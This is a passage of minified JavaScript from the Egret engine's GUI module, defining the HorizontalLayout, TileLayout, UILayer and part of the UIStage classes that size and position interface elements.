i=this.typicalLayoutRect?this.typicalLayoutRect.width:71,h=isNaN(this._gap)?0:this._gap,l=0,m=this.target.numElements,k=0;k<m;k++){var j=this.elementSizeTable[k];isNaN(j)&&(j=i);l+=j+h}return l-h};c.prototype.elementAdded=function(f){this.useVirtualLayout&&(b.prototype.elementAdded.call(this,f),this.elementSizeTable.splice(f,0,this.typicalLayoutRect?this.typicalLayoutRect.width:71))};c.prototype.elementRemoved=function(f){this.useVirtualLayout&&(b.prototype.elementRemoved.call(this,f),this.elementSizeTable.splice(f,1))};c.prototype.clearVirtualLayoutCache=function(){this.useVirtualLayout&&(b.prototype.clearVirtualLayoutCache.call(this),this.elementSizeTable=[],this.maxElementHeight=0)};c.prototype.findIndexAt=function(j,h,n){var o=Math.floor(0.5*(h+n)),m=this.getStartPosition(o),k=this.getElementSize(o),i=isNaN(this._gap)?0:this._gap;return j>=m&&j<m+k+i?o:h==n?-1:j<m?this.findIndexAt(j,h,Math.max(h,o-1)):this.findIndexAt(j,Math.min(o+1,n),n)};c.prototype.scrollPositionChanged=function(){b.prototype.scrollPositionChanged.call(this);this.useVirtualLayout&&this.getIndexInView()&&(this.indexInViewCalculated=!0,this.target.invalidateDisplayList())};c.prototype.getIndexInView=function(){if(!this.target||0==this.target.numElements||isNaN(this.target.width)||0==this.target.width||isNaN(this.target.height)||0==this.target.height){return this.startIndex=this.endIndex=-1,!1}var h=isNaN(this._padding)?0:this._padding,f=isNaN(this._paddingLeft)?h:this._paddingLeft,j=isNaN(this._paddingRight)?h:this._paddingRight;isNaN(this._paddingTop);isNaN(this._paddingBottom);var h=this.target.numElements,k=this.getStartPosition(h-1)+this.elementSizeTable[h-1]+j,i=this.target.horizontalScrollPosition;if(i>k-j){return this.endIndex=this.startIndex=-1,!1}j=this.target.horizontalScrollPosition+this.target.width;if(j<f){return this.endIndex=this.startIndex=-1,!1}f=this.startIndex;k=this.endIndex;this.startIndex=this.findIndexAt(i,0,h-1);-1==this.startIndex&&(this.startIndex=0);this.endIndex=this.findIndexAt(j,0,h-1);-1==this.endIndex&&(this.endIndex=h-1);return f!=this.startIndex||k!=this.endIndex};c.prototype.updateDisplayListVirtual=function(P,O){this.indexInViewCalculated?this.indexInViewCalculated=!1:this.getIndexInView();var M=isNaN(this._padding)?0:this._padding,N=isNaN(this._paddingRight)?M:this._paddingRight,L=isNaN(this._paddingTop)?M:this._paddingTop,K=isNaN(this._paddingBottom)?M:this._paddingBottom,J=isNaN(this._gap)?0:this._gap,I=this.target.numElements;if(-1==this.startIndex||-1==this.endIndex){N=this.getStartPosition(I)-J+N,this.target.setContentSize(Math.ceil(N),this.target.contentHeight)}else{this.target.setVirtualElementIndicesInView(this.startIndex,this.endIndex);var F=this._verticalAlign==a.VerticalAlign.JUSTIFY||this._verticalAlign==a.VerticalAlign.CONTENT_JUSTIFY,H=this._verticalAlign==a.VerticalAlign.CONTENT_JUSTIFY,B=0;F||(this._verticalAlign==a.VerticalAlign.MIDDLE?B=0.5:this._verticalAlign==a.VerticalAlign.BOTTOM&&(B=1));var j=Math.max(0,O-L-K),i=Math.ceil(j),o,h=this.typicalLayoutRect?this.typicalLayoutRect.width:71,M=Math.max(this.typicalLayoutRect?this.typicalLayoutRect.height:22,this.maxElementHeight);if(H){for(var p=this.startIndex;p<=this.endIndex;p++){(o=this.target.getVirtualElementAt(p))&&o.includeInLayout&&(this.maxElementHeight=Math.max(this.maxElementHeight,o.preferredHeight))}i=Math.ceil(Math.max(j,this.maxElementHeight))}for(var G=0,r=0,p=0,t=!1,D=this.startIndex;D<=this.endIndex;D++){if(r=0,o=this.target.getVirtualElementAt(D)){o.includeInLayout?(F?(r=L,o.setLayoutBoundsSize(NaN,i)):(r=(j-o.layoutBoundsHeight)*B,r=0<r?r:0,r=L+r),H||(this.maxElementHeight=Math.max(this.maxElementHeight,o.preferredHeight)),p=Math.max(p,o.layoutBoundsHeight),t||(G=isNaN(this.elementSizeTable[D])?h:this.elementSizeTable[D],G!=o.layoutBoundsWidth&&(t=!0)),0==D&&0<this.elementSizeTable.length&&this.elementSizeTable[D]!=o.layoutBoundsWidth&&(this.typicalLayoutRect=null),this.elementSizeTable[D]=o.layoutBoundsWidth,G=this.getStartPosition(D),o.setLayoutBoundsPosition(Math.round(G),Math.round(r))):this.elementSizeTable[D]=0}}p+=L+K;N=this.getStartPosition(I)-J+N;this.target.setContentSize(Math.ceil(N),Math.ceil(p));(t||M<this.maxElementHeight)&&this.target.invalidateSize()}};c.prototype.updateDisplayListReal=function(ac,ab){var aa=isNaN(this._padding)?0:this._padding,Y=isNaN(this._paddingLeft)?aa:this._paddingLeft,Z=isNaN(this._paddingRight)?aa:this._paddingRight,X=isNaN(this._paddingTop)?aa:this._paddingTop,aa=isNaN(this._paddingBottom)?aa:this._paddingBottom,W=isNaN(this._gap)?0:this._gap,V=Math.max(0,ac-Y-Z),S=Math.max(0,ab-X-aa),U=this._horizontalAlign==a.HorizontalAlign.JUSTIFY,P=this._verticalAlign==a.VerticalAlign.JUSTIFY||this._verticalAlign==a.VerticalAlign.CONTENT_JUSTIFY,p=0;P||(this._verticalAlign==a.VerticalAlign.MIDDLE?p=0.5:this._verticalAlign==a.VerticalAlign.BOTTOM&&(p=1));var j=this.target.numElements,t=j,i=Y,K=X,T,M,N=0,K=0,Q=[],O,R=V;for(T=0;T<j;T++){(M=this.target.getElementAt(T))&&M.includeInLayout?(this.maxElementHeight=Math.max(this.maxElementHeight,M.preferredHeight),U?N+=M.preferredWidth:isNaN(M.percentWidth)?R-=M.preferredWidth:(K+=M.percentWidth,O=new d,O.layoutElement=M,O.percent=M.percentWidth,O.min=M.minWidth,O.max=M.maxWidth,Q.push(O))):t--}var R=R-W*(t-1),R=0<R?R:0,L=V-N-W*(t-1),J,r=t,o=[];if(U){if(0>L){J=R/t;for(T=0;T<j;T++){(M=this.target.getElementAt(T))&&M.includeInLayout&&(M=M.preferredWidth,M<=J&&(R-=M,r--))}R=0<R?R:0}}else{if(0<K){c.flexChildrenProportionally(V,R,K,Q);V=0;M=Q.length;for(T=0;T<M;T++){O=Q[T],K=Math.round(O.size+V),V+=O.size-K,o[O.layoutElement.hashCode]=K,R-=K}R=0<R?R:0}}this._horizontalAlign==a.HorizontalAlign.CENTER?i=Y+0.5*R:this._horizontalAlign==a.HorizontalAlign.RIGHT&&(i=Y+R);Q=X;M=t=0;O=Math.ceil(S);this._verticalAlign==a.VerticalAlign.CONTENT_JUSTIFY&&(O=Math.ceil(Math.max(S,this.maxElementHeight)));for(T=V=0;T<j;T++){K=0,(M=this.target.getElementAt(T))&&M.includeInLayout&&(t=NaN,U?(K=NaN,0<L?K=R*M.preferredWidth/N:0>L&&M.preferredWidth>J&&(K=R/r),isNaN(K)||(t=Math.round(K+V),V+=K-t)):t=o[M.hashCode],P?(K=X,M.setLayoutBoundsSize(t,O)):(K=NaN,isNaN(M.percentHeight)||(K=Math.min(100,M.percentHeight),K=Math.round(S*K*0.01)),M.setLayoutBoundsSize(t,K),K=(S-M.layoutBoundsHeight)*p,K=0<K?K:0,K=X+K),M.setLayoutBoundsPosition(Math.round(i),Math.round(K)),t=Math.ceil(M.layoutBoundsWidth),M=Math.ceil(M.layoutBoundsHeight),Y=Math.max(Y,i+t),Q=Math.max(Q,K+M),i+=t+W)}this.target.setContentSize(Math.ceil(Y+Z),Math.ceil(Q+aa))};c.flexChildrenProportionally=function(v,u,r,t){var p=t.length,o;do{o=!0;var k=u-v*r/100;0<k?u-=k:k=0;for(var j=u/r,h=0;h<p;h++){var i=t[h],w=i.percent*j;if(w<i.min){o=i.min;i.size=o;t[h]=t[--p];t[p]=i;r-=i.percent;k>=o||(u-=o-k);o=!1;break}else{if(w>i.max){o=i.max;i.size=o;t[h]=t[--p];t[p]=i;r-=i.percent;k>=o||(u-=o-k);o=!1;break}else{i.size=w}}}}while(!o)};return c}(g.LayoutBase);g.HorizontalLayout=e;e.prototype.__class__="egret.gui.HorizontalLayout";var d=function(){return function(){this.size=0}}();d.prototype.__class__="ChildInfo"})(a.gui||(a.gui={}))})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){(function(d){var b=function(c){function e(){c.call(this);this.explicitHorizontalGap=NaN;this._horizontalGap=6;this.explicitVerticalGap=NaN;this._verticalGap=6;this._columnCount=-1;this._requestedColumnCount=0;this._rowCount=-1;this._requestedRowCount=0;this._rowHeight=this.explicitRowHeight=this._columnWidth=this.explicitColumnWidth=NaN;this._padding=0;this._paddingBottom=this._paddingTop=this._paddingRight=this._paddingLeft=NaN;this._horizontalAlign=a.HorizontalAlign.JUSTIFY;this._verticalAlign=a.VerticalAlign.JUSTIFY;this._columnAlign=d.ColumnAlign.LEFT;this._rowAlign=d.RowAlign.TOP;this._orientation=d.TileOrientation.ROWS;this.maxElementHeight=this.maxElementWidth=0;this.endIndex=this.startIndex=-1;this.indexInViewCalculated=!1}__extends(e,c);Object.defineProperty(e.prototype,"horizontalGap",{get:function(){return this._horizontalGap},set:function(f){f!=this._horizontalGap&&(this._horizontalGap=this.explicitHorizontalGap=f,this.invalidateTargetSizeAndDisplayList(),this.hasEventListener("gapChanged")&&this.dispatchEventWith("gapChanged"))},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"verticalGap",{get:function(){return this._verticalGap},set:function(f){f!=this._verticalGap&&(this._verticalGap=this.explicitVerticalGap=f,this.invalidateTargetSizeAndDisplayList(),this.hasEventListener("gapChanged")&&this.dispatchEventWith("gapChanged"))},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"columnCount",{get:function(){return this._columnCount},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"requestedColumnCount",{get:function(){return this._requestedColumnCount},set:function(f){this._requestedColumnCount!=f&&(this._columnCount=this._requestedColumnCount=f,this.invalidateTargetSizeAndDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"rowCount",{get:function(){return this._rowCount},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"requestedRowCount",{get:function(){return this._requestedRowCount},set:function(f){this._requestedRowCount!=f&&(this._rowCount=this._requestedRowCount=f,this.invalidateTargetSizeAndDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"columnWidth",{get:function(){return this._columnWidth},set:function(f){f!=this._columnWidth&&(this._columnWidth=this.explicitColumnWidth=f,this.invalidateTargetSizeAndDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"rowHeight",{get:function(){return this._rowHeight},set:function(f){f!=this._rowHeight&&(this._rowHeight=this.explicitRowHeight=f,this.invalidateTargetSizeAndDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"padding",{get:function(){return this._padding},set:function(f){this._padding!=f&&(this._padding=f,this.invalidateTargetSizeAndDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"paddingLeft",{get:function(){return this._paddingLeft},set:function(f){this._paddingLeft!=f&&(this._paddingLeft=f,this.invalidateTargetSizeAndDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"paddingRight",{get:function(){return this._paddingRight},set:function(f){this._paddingRight!=f&&(this._paddingRight=f,this.invalidateTargetSizeAndDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"paddingTop",{get:function(){return this._paddingTop},set:function(f){this._paddingTop!=f&&(this._paddingTop=f,this.invalidateTargetSizeAndDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"paddingBottom",{get:function(){return this._paddingBottom},set:function(f){this._paddingBottom!=f&&(this._paddingBottom=f,this.invalidateTargetSizeAndDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"horizontalAlign",{get:function(){return this._horizontalAlign},set:function(f){this._horizontalAlign!=f&&(this._horizontalAlign=f,this.invalidateTargetSizeAndDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"verticalAlign",{get:function(){return this._verticalAlign},set:function(f){this._verticalAlign!=f&&(this._verticalAlign=f,this.invalidateTargetSizeAndDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"columnAlign",{get:function(){return this._columnAlign},set:function(f){this._columnAlign!=f&&(this._columnAlign=f,this.invalidateTargetSizeAndDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"rowAlign",{get:function(){return this._rowAlign},set:function(f){this._rowAlign!=f&&(this._rowAlign=f,this.invalidateTargetSizeAndDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"orientation",{get:function(){return this._orientation},set:function(f){this._orientation!=f&&(this._orientation=f,this.invalidateTargetSizeAndDisplayList(),this.hasEventListener("orientationChanged")&&this.dispatchEventWith("orientationChanged"))},enumerable:!0,configurable:!0});e.prototype.invalidateTargetSizeAndDisplayList=function(){this.target&&(this.target.invalidateSize(),this.target.invalidateDisplayList())};e.prototype.measure=function(){if(this.target){var u=this._columnCount,t=this._rowCount,s=this._columnWidth,r=this._rowHeight,p=0,o=0;this.calculateRowAndColumn(this.target.explicitWidth,this.target.explicitHeight);var n=0<this._requestedColumnCount?this._requestedColumnCount:this._columnCount,j=0<this._requestedRowCount?this._requestedRowCount:this._rowCount,i=isNaN(this._horizontalGap)?0:this._horizontalGap,h=isNaN(this._verticalGap)?0:this._verticalGap;0<n&&(p=n*(this._columnWidth+i)-i);0<j&&(o=j*(this._rowHeight+h)-h);h=isNaN(this._padding)?0:this._padding;n=isNaN(this._paddingLeft)?h:this._paddingLeft;j=isNaN(this._paddingRight)?h:this._paddingRight;i=isNaN(this._paddingTop)?h:this._paddingTop;h=isNaN(this._paddingBottom)?h:this._paddingBottom;i+=h;this.target.measuredWidth=Math.ceil(p+(n+j));this.target.measuredHeight=Math.ceil(o+i);this._columnCount=u;this._rowCount=t;this._columnWidth=s;this._rowHeight=r}};e.prototype.calculateRowAndColumn=function(C,A){var w=isNaN(this._horizontalGap)?0:this._horizontalGap,v=isNaN(this._verticalGap)?0:this._verticalGap;this._rowCount=this._columnCount=-1;for(var t=this.target.numElements,u=t,r=0;r<u;r++){var p=this.target.getElementAt(r);p&&!p.includeInLayout&&t--}if(0==t){this._rowCount=this._columnCount=0}else{(isNaN(this.explicitColumnWidth)||isNaN(this.explicitRowHeight))&&this.updateMaxElementSize();isNaN(this.explicitColumnWidth)?this._columnWidth=this.maxElementWidth:this._columnWidth=this.explicitColumnWidth;isNaN(this.explicitRowHeight)?this._rowHeight=this.maxElementHeight:this._rowHeight=this.explicitRowHeight;u=this._columnWidth+w;0>=u&&(u=1);r=this._rowHeight+v;0>=r&&(r=1);var p=this.orientation==d.TileOrientation.COLUMNS,o=!isNaN(C),i=!isNaN(A),j=isNaN(this._padding)?0:this._padding,D=isNaN(this._paddingLeft)?j:this._paddingLeft,B=isNaN(this._paddingRight)?j:this._paddingRight,z=isNaN(this._paddingTop)?j:this._paddingTop,j=isNaN(this._paddingBottom)?j:this._paddingBottom;0<this._requestedColumnCount||0<this._requestedRowCount?(0<this._requestedRowCount&&(this._rowCount=Math.min(this._requestedRowCount,t)),0<this._requestedColumnCount&&(this._columnCount=Math.min(this._requestedColumnCount,t))):o||i?!o||i&&p?(w=Math.max(0,A-z-j),this._rowCount=Math.floor((w+v)/r),this._rowCount=Math.max(1,Math.min(this._rowCount,t))):(v=Math.max(0,C-D-B),this._columnCount=Math.floor((v+w)/u),this._columnCount=Math.max(1,Math.min(this._columnCount,t))):(w=Math.sqrt(t*u*r),p?this._rowCount=Math.max(1,Math.round(w/r)):this._columnCount=Math.max(1,Math.round(w/u)));-1==this._rowCount&&(this._rowCount=Math.max(1,Math.ceil(t/this._columnCount)));-1==this._columnCount&&(this._columnCount=Math.max(1,Math.ceil(t/this._rowCount)));0<this._requestedColumnCount&&0<this._requestedRowCount&&(this.orientation==d.TileOrientation.ROWS?this._rowCount=Math.max(1,Math.ceil(t/this._requestedColumnCount)):this._columnCount=Math.max(1,Math.ceil(t/this._requestedRowCount)))}};e.prototype.updateMaxElementSize=function(){this.target&&(this.useVirtualLayout?this.updateMaxElementSizeVirtual():this.updateMaxElementSizeReal())};e.prototype.updateMaxElementSizeVirtual=function(){var g=this.typicalLayoutRect?this.typicalLayoutRect.height:22;this.maxElementWidth=Math.max(this.maxElementWidth,this.typicalLayoutRect?this.typicalLayoutRect.width:22);this.maxElementHeight=Math.max(this.maxElementHeight,g);if(-1!=this.startIndex&&-1!=this.endIndex){for(g=this.startIndex;g<=this.endIndex;g++){var f=this.target.getVirtualElementAt(g);f&&f.includeInLayout&&(this.maxElementWidth=Math.max(this.maxElementWidth,f.preferredWidth),this.maxElementHeight=Math.max(this.maxElementHeight,f.preferredHeight))}}};e.prototype.updateMaxElementSizeReal=function(){for(var g=this.target.numElements,f=0;f<g;f++){var h=this.target.getElementAt(f);h&&h.includeInLayout&&(this.maxElementWidth=Math.max(this.maxElementWidth,h.preferredWidth),this.maxElementHeight=Math.max(this.maxElementHeight,h.preferredHeight))}};e.prototype.clearVirtualLayoutCache=function(){c.prototype.clearVirtualLayoutCache.call(this);this.maxElementHeight=this.maxElementWidth=0};e.prototype.scrollPositionChanged=function(){c.prototype.scrollPositionChanged.call(this);this.useVirtualLayout&&this.getIndexInView()&&(this.indexInViewCalculated=!0,this.target.invalidateDisplayList())};e.prototype.getIndexInView=function(){if(!this.target||0==this.target.numElements){return this.startIndex=this.endIndex=-1,!1}var j=this.target.numElements;if(!this.useVirtualLayout){return this.startIndex=0,this.endIndex=j-1,!1}if(isNaN(this.target.width)||0==this.target.width||isNaN(this.target.height)||0==this.target.height){return this.startIndex=this.endIndex=-1,!1}var i=this.startIndex,p=this.endIndex,o=isNaN(this._padding)?0:this._padding,m=isNaN(this._paddingLeft)?o:this._paddingLeft,o=isNaN(this._paddingTop)?o:this._paddingTop,n=isNaN(this._horizontalGap)?0:this._horizontalGap,l=isNaN(this._verticalGap)?0:this._verticalGap;if(this.orientation==d.TileOrientation.COLUMNS){n=this._columnWidth+n;if(0>=n){return this.startIndex=0,this.endIndex=j-1,!1}l=this.target.horizontalScrollPosition+this.target.width;o=Math.floor((this.target.horizontalScrollPosition-m)/n);0>o&&(o=0);m=Math.ceil((l-m)/n);0>m&&(m=0);this.startIndex=Math.min(j-1,Math.max(0,o*this._rowCount));this.endIndex=Math.min(j-1,Math.max(0,m*this._rowCount-1))}else{n=this._rowHeight+l;if(0>=n){return this.startIndex=0,this.endIndex=j-1,!1}l=this.target.verticalScrollPosition+this.target.height;m=Math.floor((this.target.verticalScrollPosition-o)/n);0>m&&(m=0);o=Math.ceil((l-o)/n);0>o&&(o=0);this.startIndex=Math.min(j-1,Math.max(0,m*this._columnCount));this.endIndex=Math.min(j-1,Math.max(0,o*this._columnCount-1))}return this.startIndex!=i||this.endIndex!=p};e.prototype.updateDisplayList=function(D,A){c.prototype.updateDisplayList.call(this,D,A);if(this.target){var z=isNaN(this._padding)?0:this._padding,j=isNaN(this._paddingLeft)?z:this._paddingLeft,v=isNaN(this._paddingRight)?z:this._paddingRight,w=isNaN(this._paddingTop)?z:this._paddingTop,u=isNaN(this._paddingBottom)?z:this._paddingBottom,z=isNaN(this._horizontalGap)?0:this._horizontalGap,t=isNaN(this._verticalGap)?0:this._verticalGap;if(this.indexInViewCalculated){this.indexInViewCalculated=!1}else{this.calculateRowAndColumn(D,A);if(0==this._rowCount||0==this._columnCount){this.target.setContentSize(j+v,w+u);return}this.adjustForJustify(D,A);this.getIndexInView()}this.useVirtualLayout&&(this.calculateRowAndColumn(D,A),this.adjustForJustify(D,A));if(-1==this.startIndex||-1==this.endIndex){this.target.setContentSize(0,0)}else{this.target.setVirtualElementIndicesInView(this.startIndex,this.endIndex);for(var r,i,o,E=this.orientation==d.TileOrientation.COLUMNS,C=this.startIndex,B=this.startIndex;B<=this.endIndex;B++){r=this.useVirtualLayout?this.target.getVirtualElementAt(B):this.target.getElementAt(B),null!=r&&r.includeInLayout&&(E?(i=Math.ceil((C+1)/this._rowCount)-1,o=Math.ceil((C+1)%this._rowCount)-1,-1==o&&(o=this._rowCount-1)):(i=Math.ceil((C+1)%this._columnCount)-1,-1==i&&(i=this._columnCount-1),o=Math.ceil((C+1)/this._columnCount)-1),i=i*(this._columnWidth+z)+j,o=o*(this._rowHeight+t)+w,this.sizeAndPositionElement(r,i,o,this._columnWidth,this.rowHeight),C++)}w+=u;t=(this._rowHeight+t)*this._rowCount-t;this.target.setContentSize(Math.ceil((this._columnWidth+z)*this._columnCount-z+(j+v)),Math.ceil(t+w))}}};e.prototype.sizeAndPositionElement=function(j,i,p,o,m){var n=NaN,l=NaN;this.horizontalAlign==a.HorizontalAlign.JUSTIFY?n=o:isNaN(j.percentWidth)||(n=o*j.percentWidth*0.01);this.verticalAlign==a.VerticalAlign.JUSTIFY?l=m:isNaN(j.percentHeight)||(l=m*j.percentHeight*0.01);j.setLayoutBoundsSize(Math.round(n),Math.round(l));n=i;switch(this.horizontalAlign){case a.HorizontalAlign.RIGHT:n+=o-j.layoutBoundsWidth;break;case a.HorizontalAlign.CENTER:n=i+(o-j.layoutBoundsWidth)/2}i=p;switch(this.verticalAlign){case a.VerticalAlign.BOTTOM:i+=m-j.layoutBoundsHeight;break;case a.VerticalAlign.MIDDLE:i+=(m-j.layoutBoundsHeight)/2}j.setLayoutBoundsPosition(Math.round(n),Math.round(i))};e.prototype.adjustForJustify=function(j,i){var n=isNaN(this._padding)?0:this._padding,m=isNaN(this._paddingLeft)?n:this._paddingLeft,k=isNaN(this._paddingRight)?n:this._paddingRight,l=isNaN(this._paddingTop)?n:this._paddingTop,n=isNaN(this._paddingBottom)?n:this._paddingBottom,m=Math.max(0,j-m-k),l=Math.max(0,i-l-n);isNaN(this.explicitVerticalGap)||(this._verticalGap=this.explicitVerticalGap);isNaN(this.explicitHorizontalGap)||(this._horizontalGap=this.explicitHorizontalGap);this._verticalGap=isNaN(this._verticalGap)?0:this._verticalGap;this._horizontalGap=isNaN(this._horizontalGap)?0:this._horizontalGap;l-=this._rowHeight*this._rowCount;m-=this._columnWidth*this._columnCount;0<l&&(this.rowAlign==d.RowAlign.JUSTIFY_USING_GAP?(k=Math.max(1,this._rowCount-1),this._verticalGap=l/k):this.rowAlign==d.RowAlign.JUSTIFY_USING_HEIGHT&&0<this._rowCount&&(this._rowHeight+=(l-(this._rowCount-1)*this._verticalGap)/this._rowCount));0<m&&(this.columnAlign==d.ColumnAlign.JUSTIFY_USING_GAP?(k=Math.max(1,this._columnCount-1),this._horizontalGap=m/k):this.columnAlign==d.ColumnAlign.JUSTIFY_USING_WIDTH&&0<this._columnCount&&(this._columnWidth+=(m-(this._columnCount-1)*this._horizontalGap)/this._columnCount))};return e}(d.LayoutBase);d.TileLayout=b;b.prototype.__class__="egret.gui.TileLayout"})(a.gui||(a.gui={}))})(egret||(egret={}));(function(a){(function(d){var b=function(){function c(f,e,g){this.raw_getElementAt="raw_getElementAt";this.raw_addElementAt="raw_addElementAt";this.raw_getElementIndex="raw_getElementIndex";this.raw_removeElement="raw_removeElement";this.raw_removeElementAt="raw_removeElementAt";this.raw_setElementIndex="raw_setElementIndex";this.owner=f;this.lowerBoundReference=e;this.upperBoundReference=g}Object.defineProperty(c.prototype,"numElements",{get:function(){return this.owner[this.upperBoundReference]-this.owner[this.lowerBoundReference]},enumerable:!0,configurable:!0});c.prototype.getElementAt=function(e){return this.owner[this.raw_getElementAt](this.owner[this.lowerBoundReference]+e)};c.prototype.addElement=function(f){var e=this.owner[this.upperBoundReference];f.parent===this.owner&&e--;this.owner[this.upperBoundReference]++;this.owner[this.raw_addElementAt](f,e);f.ownerChanged(this);return f};c.prototype.addElementAt=function(f,e){this.owner[this.upperBoundReference]++;this.owner[this.raw_addElementAt](f,this.owner[this.lowerBoundReference]+e);f.ownerChanged(this);return f};c.prototype.removeElement=function(f){var e=this.owner[this.raw_getElementIndex](f);this.owner[this.lowerBoundReference]<=e&&e<this.owner[this.upperBoundReference]&&(this.owner[this.raw_removeElement](f),this.owner[this.upperBoundReference]--);f.ownerChanged(null);return f};c.prototype.removeElementAt=function(f){f+=this.owner[this.lowerBoundReference];var e;this.owner[this.lowerBoundReference]<=f&&f<this.owner[this.upperBoundReference]&&(e=this.owner[this.raw_removeElementAt](f),this.owner[this.upperBoundReference]--);e.ownerChanged(null);return e};c.prototype.getElementIndex=function(e){e=this.owner[this.raw_getElementIndex](e);return e-this.owner[this.lowerBoundReference]};c.prototype.setElementIndex=function(f,e){this.owner[this.raw_setElementIndex](f,this.owner[this.lowerBoundReference]+e)};return c}();d.UILayer=b;b.prototype.__class__="egret.gui.UILayer"})(a.gui||(a.gui={}))})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){(function(d){var b=function(c){function e(){c.call(this);this._autoResize=!0;this._cursorIndex=this._toolTipIndex=this._topMostIndex=this._noTopMostIndex=0;this.addEventListener(a.Event.ADDED_TO_STAGE,this.onAddToStage,this);this.addEventListener(a.Event.REMOVED_FROM_STAGE,this.onRemoveFromStage,this)}__extends(e,c);e.prototype.onAddToStage=function(f){if(d.UIGlobals._uiStage){throw Error("UIStage\u662fGUI\u6839\u5bb9\u5668\uff0c\u53ea\u80fd\u6709\u4e00\u4e2a\u6b64\u5b9e\u4f8b\u5728\u663e\u793a\u5217\u8868\u4e2d\uff01")}d.UIGlobals._uiStage=this;this._autoResize&&(this.stage.addEventListener(a.Event.RESIZE,this.onResize,this),this.onResize())};e.prototype.onRemoveFromStage=function(f){d.UIGlobals._uiStage=null;this._autoResize&&this.stage.removeEventListener(a.Event.RESIZE,this.onResize,this)};e.prototype.onResize=function(f){this._setWidth(this.stage.stageWidth);this._setHeight(this.stage.stageHeight)};Object.defineProperty(e.prototype,"autoResize",{get:function(){return this._autoResize},set:function(f){this._autoResize!=f&&(this._autoResize=f,this.stage&&(this._autoResize?(this.stage.addEventListener(a.Event.RESIZE,this.onResize,this),this.onResize()):this.stage.removeEventListener(a.Event.RESIZE,this.onResize,this)))},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"x",{get:function(){return this._x},set:function(f){this._autoResize||(this._x=f)},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"y",{get:function(){return this._y},set:function(f){this._autoResize||(this._y=f)},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"width",{get:function(){return this._width},set:function(f){this._autoResize||this._setWidth(f)},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"height",{get:function(){return this._height},set:function(f){this._autoResize||this._setHeight(f)},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"scaleX",{get:function(){return this._scaleX},set:function(f){this._autoResize||this._setScaleX(f)},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"scaleY",{get:function(){return this._scaleY},set:function(f){this._autoResize||this._setScaleY(f)},enumerable:!0,configurable:!0});e.prototype.setActualSize=function(f,g){this._autoResize||c.prototype.setActualSize.call(this,f,g)};e.prototype.setLayoutBoundsPosition=function(f,g){this._autoResize||c.prototype.setLayoutBoundsPosition.call(this,f,g)};e.prototype.setLayoutBoundsSize=function(f,g){this._autoResize||c.prototype.setLayoutBoundsSize.call(this,f,g)};Object.defineProperty(e.prototype,"layout",{get:function(){return this._layout},set:function(f){f instanceof d.BasicLayout&&this._setLayout(f)},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"popUpContainer",{get:function(){this._popUpContainer||(this._popUpContainer=new d.UILayer(this,"noTopMostIndex","topMostIndex"));return this._popUpContainer},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"toolTipContainer",{get:function(){this._toolTipContainer||(this._toolTipContainer=new d.UILayer(this,"topMostIndex","toolTipIndex"));return this._toolTipContainer},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"cursorContainer",{get:function(){this._cursorContainer||(this._cursorContainer=new d.UILayer(this,"toolTipIndex","cursorIndex"));return this._cursorContainer},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"noTopMostIndex",{get:function(){return this._noTopMostIndex},set:function(g){var f=g-this._noTopMostIndex;this._noTopMostIndex=g;this.topMostIndex+=f},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"topMostIndex",{get:function(){return this._topMostIndex},set:function(g){var f=g-this._topMostIndex;this._topMostIndex=g;this.toolTipIndex+=f},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"toolTipIndex",{get:function(){return this._toolTipIndex},set:function(g){var f=g-this._toolTipIndex;this._toolTipIndex=g;this.cursorIndex+=f},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"cursorIndex",{get:function(){return this._cursorIndex},set:function(f){this._cursorIndex=f},enumerable:!0,configurable:!0});e.prototype.addElement=function(g){var f=this._noTopMostIndex;g.parent==this&&f--;return this.addElementAt(g,f)};e.prototype.addElementAt=function(f,h){if(f.parent==this){var g=this.getElementIndex(f);g<this._noTopMostIndex?this.noTopMostIndex--:g>=this._noTopMostIndex&&g<this._topMostIndex?this.topMostIndex--:g>=this._topMostIndex&&g<this._toolTipIndex?this.toolTipIndex--:this.cursorIndex--}h<=this._noTopMostIndex?this.noTopMostIndex++:h>this._noTopMostIndex&&h<=this._topMostIndex?this.topMostIndex++:h>this._topMostIndex&&h<=this._toolTipIndex?this.toolTipIndex++:this.cursorIndex++;return c.prototype.addElementAt.call(this,f,h)};e.prototype.removeElement=function(f){return this.removeElementAt(c.prototype.getElementIndex.call(this,f))};e.prototype.removeElementAt=function(f){var 